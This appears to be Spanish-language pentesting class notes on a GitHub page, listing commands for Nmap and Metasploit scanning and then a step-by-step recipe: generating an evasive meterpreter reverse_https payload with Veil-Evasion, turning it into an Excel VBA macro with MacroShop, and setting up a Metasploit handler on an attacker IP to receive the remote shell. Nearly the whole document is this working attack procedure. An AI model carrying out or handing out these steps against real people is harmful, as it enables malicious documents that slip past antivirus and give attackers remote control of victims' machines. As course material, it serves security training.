-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsesion4.txt
54 lines (34 loc) · 941 Bytes
/
sesion4.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
Fecha: 5 de marzo
Orden:
- Veil Evasion
- MacroShop
------------------------------------------------
Pentesting
Nmap: nmap -Pn ip
Metasploit:
use auxiliary/scanner/netbios/nbname
set rhosts ip
----------------------------------------------
1) Veil Evasion:
- cd Veil-Evasion
- ./Veil Evasion
- list
- use powershell/meterpreter/rev_https.py
- set lport <puertolibre>
- set lhost <ipAtacante>
- generate
- copiar el archivo .bat
2) MacroShop:
- cd MacroShop
- ./macro_safe.py <ruta archivo .bat> <ruta archivo de salida>
3) Excel:
- ALT+f11 (Abrir programación de las macros)
- Copiar el contenido del archivo creado en el paso anterior
- Guardar la macro
- Guardar el archivo de excel con macro activadas
4) Metasploit:
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_https
- set lport <mismo puerto del bat>
- set lhost <ip atacante>
- run